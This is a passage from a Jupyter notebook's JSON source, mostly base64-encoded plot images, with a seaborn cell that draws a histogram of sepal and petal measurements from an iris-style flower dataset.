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\n" + }, + "metadata": { + "needs_background": "light" + } + } + ] + }, + { + "cell_type": "code", + "source": [ + "plt.figure(figsize=(10,8))\n", + "sns.histplot(data=df,bins=8,palette='Set2')\n", + "plt.xlabel('Sepal/Petal Length/Width')\n", + "plt.title('Count')" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 531 + }, + "id": "DFFCpJQls1HT", + "outputId": "9df40d39-e6fd-4266-f3b8-14a4d4ad7ba1" + }, + "execution_count": 14, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "Text(0.5, 1.0, 'Count')" + ] + }, + "metadata": {}, + "execution_count": 14 + }, + { + "output_type": "display_data", + "data": { + "text/plain": [ + "
" + ], + "image/png": "iVBORw0KGgoAAAANSUhEUgAAAl4AAAHwCAYAAAB332GFAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAADh0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uMy4yLjIsIGh0dHA6Ly9tYXRwbG90bGliLm9yZy+WH4yJAAAgAElEQVR4nO3dfZyXZZ33/9dHbgTDsMS8CBkGu0HFhmEZ2UTHRg205KdS3tbVklhuWWT5uzRvLlgwSU13c6tNLwsF99IiMZR1rVVbQESDZQAJoSRruPEm0RUUgZrB4/pjTqYBuZnB+Z4nw7yej8c85nvef77n8Jh5cxzH9zwipYQkSZJK74CiC5AkSeooDF6SJEk5MXhJkiTlxOAlSZKUE4OXJElSTgxekiRJOTF4SZIk5cTgJaldi4jPRMTCiNgYES9GxC8i4sQSXzNFxAdLeQ1J+yeDl6R2KyIuB24Fvg0cDpQBPwTOKrIuSdoVg5ekdikiegLXAV9JKf08pfRmSqk+pfRvKaUrIuLAiLg1Il7Ivm6NiAOzYz8fEU/scL6mVqyImBIR/xIR/x4Rb0TE/Ij4QLbt8eyQp7NWtvNzfNuS2jmDl6T26nigGzBjF9uvBT4KVAKDgKHA/27F+S8AJgLvAX4PTAJIKZ2UbR+UUuqRUprW+tIldVQGL0nt1aHAKymlhl1s/yxwXUrp5ZTSOhpD1Odacf4ZKaUF2fnvoTHASdI7YvCS1F69CvSKiM672P5+YFWz5VXZupZ6qdnrTUCP1pUnSW9n8JLUXj0F/Bk4exfbXwD6NVsuy9YBvAkctG1DRPyPUhQoSTva1f8UJWmfllLaEBHjgX+JiAbgEaAe+DhwMvAT4H9HxH8BCRgP/N/s8KeBgRFRCfwWmNDKy/8JOJLGsV+S1GK2eElqt1JK/whcTuOg+XXAGuCrwAPA9cBCYCnwG2BRto6U0rM0fiLyMWAl8MSO596DCcDUiFgfEee94zciqcOIlFLRNUiSJHUItnhJkiTlxOAlSZKUE4OXJElSTgxekiRJOTF4SZIk5aRdPMerV69eqby8vOgyJEmS9qi2tvaVlNJhO9vWLoJXeXk5CxcuLLoMSZKkPYqIVbvaZlejJElSTgxekiRJOTF4SZIk5aRdjPGSJEl/VV9fz9q1a9myZUvRpXRo3bp144gjjqBLly4tPsbgJUlSO7N27VoOPvhgysvLiYiiy+mQUkq8+uqrrF27lv79+7f4OLsaJUlqZ7Zs2cKhhx5q6CpQRHDooYe2utXR4CVJUjtk6Cre3vwMDF6SJKnVJk2axMCBA6moqKCyspL58+e36flnz57NyJEjW7z+nXrggQdYvnx503JNTU1JniFq8JIkqZ0r69ePiGizr7J+/XZ7vaeeeoqHHnqIRYsWsXTpUh577DH69u2b07stjR2DV6k4uF6SpHZuzerVzKx7us3Od2b5oN1uf/HFF+nVqxcHHnggAL169WraVltby+WXX87GjRvp1asXU6ZMoXfv3tTU1DBo0CDmzJlDQ0MDd955J0OHDmXBggVcdtllbNmyhe7du3PXXXcxYMCAFtX55ptvMnbsWJYtW0Z9fT0TJkzgrLPOYsqUKcycOZNNmzbx3HPPMWrUKL7zne8AMHnyZG666SYOOeQQBg0axIEHHshnPvMZZs6cyZw5c7j++uu5//77Abjvvvu49NJLWb9+PZMnT6a6unpvbud2bPGSJEmtMmLECNasWcOHP/xhLr30UubMmQM0PuZi7NixTJ8+ndraWsaMGcO1117bdNymTZtYsmQJP/zhDxkzZgwARx11FHPnzmXx4sVcd911XHPNNS2uY9KkSZxyyiksWLCAWbNmccUVV/Dmm28CsGTJEqZNm8ZvfvMbpk2bxpo1a3jhhRf41re+xa9//WvmzZvHb3/7WwCGDRvGmWeeyc0338ySJUv4wAc+AEBD